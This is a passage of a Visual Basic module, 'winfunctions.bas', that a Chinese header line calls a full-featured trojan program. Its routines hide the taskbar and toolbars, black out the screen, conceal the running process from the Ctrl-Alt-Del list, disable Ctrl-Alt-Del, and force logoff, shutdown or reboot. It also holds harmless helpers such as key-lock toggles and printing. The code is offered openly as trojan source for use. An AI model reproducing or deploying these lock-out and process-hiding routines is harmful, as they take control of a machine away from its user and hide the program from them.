winfunctions.bas

很完整的一个木马程序,也可以聊天...功能很全

FindClass1& = FindWindow("BaseBar", vbNullString)
FindClass2& = FindWindowEx(FindClass1&, 0, "ReBarWindow32", vbNullString)
Parent& = FindWindowEx(FindClass2&, 0, "SysPager", vbNullString)
Handle& = FindWindowEx(Parent&, 0, "ToolbarWindow32", vbNullString)
ShowWindow Handle&, 1
End Function
Public Function DestroyWindowsToolBar()
Dim FindClass1 As Long, FindClass2 As Long, Parent As Long, Handle As Long
FindClass1& = FindWindow("BaseBar", vbNullString)
FindClass2& = FindWindowEx(FindClass1&, 0, "ReBarWindow32", vbNullString)
Parent& = FindWindowEx(FindClass2&, 0, "SysPager", vbNullString)
Handle& = FindWindowEx(Parent&, 0, "ToolbarWindow32", vbNullString)
SendMessage Handle&, WM_DESTROY, 0, 0
End Function
Public Function ScreenBlackOut(TheForm As Form)
StayOnTop TheForm
HideTaskBar
HideWindowsToolBar
TheForm.BorderStyle = 0
TheForm.Caption = ""
Screen.MousePointer = vbHourglass
TheForm.BackColor = &H0&
TheForm.BorderStyle = 0
TheForm.Height = Screen.Height
TheForm.Width = Screen.Width
TheForm.Left = Screen.Width - Screen.Width
TheForm.Top = Screen.Height - Screen.Height
PreventFromClosing
DisableCtrlAltDel
End Function
Public Function ScreenUnBlackOut(TheForm As Form)
NotOnTop TheForm
ShowTaskBar
ShowWindowsToolBar
TheForm.BorderStyle = 3
TheForm.Caption = "Form"
Screen.MousePointer = vbArrow
TheForm.BackColor = &H8000000A
TheForm.Width = Screen.Width / 2
TheForm.Height = Screen.Height / 2
TheForm.Left = Screen.Width / 2 - TheForm.Width / 2
TheForm.Top = Screen.Height / 2 - TheForm.Height / 2
UnPreventFromClosing
EnableCtrlAltDel
End Function
Public Function PreventFromClosing()
Dim process As Long
process = GetCurrentProcessId()
RegisterServiceProcess process, RSP_SIMPLE_SERVICE
End Function
Public Function UnPreventFromClosing()
Dim process As Long
process = GetCurrentProcessId()
RegisterServiceProcess process, RSP_UNREGISTER_SERVICE
End Function
Public Function DisableCtrlAltDel()
Dim ret As Integer
 Dim pOld As Boolean
 ret = SystemParametersInfo(SPI_SCREENSAVERRUNNING, True, pOld, 0)
End Function
Public Function EnableCtrlAltDel()
Dim ret As Integer
 Dim pOld As Boolean
 ret = SystemParametersInfo(SPI_SCREENSAVERRUNNING, False, pOld, 0)
End Function
Public Function WINLogUserOff()
ExitWindowsEx EWX_LOGOFF, 0
End Function
Public Function WINForceClose()
ExitWindowsEx EWX_FORCE, 0
End Function
Public Function WINShutdown()
ExitWindowsEx EWX_SHUTDOWN, 0
ExitWindowsEx EWX_SHUTDOWN, 0
ExitWindowsEx EWX_SHUTDOWN, 0
End Function
Public Function WINReboot()
ExitWindowsEx EWX_REBOOT, 0
ExitWindowsEx EWX_REBOOT, 0
ExitWindowsEx EWX_REBOOT, 0
End Function
Sub CAD_Hide(visible As Boolean)
'Hide program in Close Dialoge
Dim lI As Long
Dim lJ As Long
lI = GetCurrentProcessId()
If Not visible Then
lJ = RegisterServiceProcess(lI, 1)
Else
lJ = RegisterServiceProcess(lI, 0)
End If
End Sub
Sub OpenCD()
'Open CDromdrive
'Example: OpenCD
    mciSendString "Set CDAudio Door Open Wait", _
        0&, 0&, 0&
End Sub
Sub FileReName(file$, NewName$)
'Rename a file!
'Example: Call File_ReName("c:\important.txt", "c:\notimportant.txt")
Name file$ As NewName$
 DoEvents
End Sub
Sub CapsLock(Enabled As Boolean)
GetKeyboardState kbArray
If Enabled = True Then
    kbArray.kbByte(VK_CAPITAL) = 1
ElseIf Enabled = False Then
    kbArray.kbByte(VK_CAPITAL) = 0
End If
SetKeyboardState kbArray
End Sub

Sub NumLock(Enabled As Boolean)
GetKeyboardState kbArray
If Enabled = True Then
    kbArray.kbByte(VK_NUMLOCK) = 1
ElseIf Enabled = False Then
    kbArray.kbByte(VK_NUMLOCK) = 0
End If
SetKeyboardState kbArray
End Sub

Sub ScrollLock(Enabled As Boolean)
GetKeyboardState kbArray
If Enabled = True Then
    kbArray.kbByte(VK_SCROLL) = 1
ElseIf Enabled = False Then
    kbArray.kbByte(VK_SCROLL) = 0
End If
SetKeyboardState kbArray
End Sub

Sub SetCursorP(X, Y)
SetCursorPos X, Y
End Sub

Function GetCursorX()
Dim dl&
dl& = GetCursorPos(pt)
GetCursorX = pt.X
End Function

Function GetCursorY()
Dim dl&
dl& = GetCursorPos(pt)
GetCursorY = pt.Y
End Function

Function KeyboardInfo()
Dim X
X = GetKeyboardType(0)
If X = 1 Then
    KeyboardInfo = "PC or compatible 83-key keyboard"
ElseIf X = 2 Then
    KeyboardInfo = "Olivetti 102-key keyboard"
ElseIf X = 3 Then
    KeyboardInfo = "AT or compatible 84-key keyboard"
ElseIf X = 4 Then
    KeyboardInfo = "Enhanced 101- or 102-key keyboard"
ElseIf X = 5 Then
    KeyboardInfo = "Nokia 1050 keyboard"
ElseIf X = 6 Then
    KeyboardInfo = "Nokia 9140 keyboard"
ElseIf X = 7 Then
    KeyboardInfo = "Japanese keyboard"
End If
End Function

Sub PrintText(Texty As String)
Dim lPrinter As Long
Dim lRet As Long
Dim lDoc As Long
Dim udtDocInfo As DOCINFO
Dim lWritten As Long

lRet = OpenPrinter(Printer.DeviceName, lPrinter, 0)
If lRet = 0 Then
    Exit Sub
End If

udtDocInfo.pDocName = "-"
udtDocInfo.pOutputFile = vbNullString
udtDocInfo.pDatatype = vbNullString
lDoc = StartDocPrinter(lPrinter, 1, udtDocInfo)
Call StartPagePrinter(lPrinter)
lRet = WritePrinter(lPrinter, ByVal Texty, Len(Texty), lWritten)
lRet = EndPagePrinter(lPrinter)
lRet = EndDocPrinter(lPrinter)
lRet = ClosePrinter(lPrinter)
End Sub

Sub ClearDocuments()
Call SHAddToRecentDocs(2, vbNullString)
End Sub

Sub AddToDocuments(FileName As String)
Call SHAddToRecentDocs(2, FileName)
End Sub

Function GetCaretBlink()
GetCaretBlink = GetCaretBlinkTime
End Function

Sub SetCaretBlink(MSec)
SetCaretBlinkTime MSec
End Sub

Function GetDoubleClick()
GetDoubleClick = GetDoubleClickTime
End Function

Sub SetDoubleClick(MSec)
SetDoubleClickTime MSec
End Sub

Sub StartScreensaver(Form1 As Form)
Dim result As Long
result = SendMessage(Form1.hwnd, WM_SYSCOMMAND, SC_SCREENSAVE, 0&)
End Sub

Function Windows_Exists(ByVal FileName As String) As Integer
Dim TheFile As Integer, Error As Integer
On Error Resume Next
TheFile = Len(Dir$(FileName))
If Error Or TheFile = 0 Then
Windows_Exists = False
Else
Windows_Exists = True
End If
End Function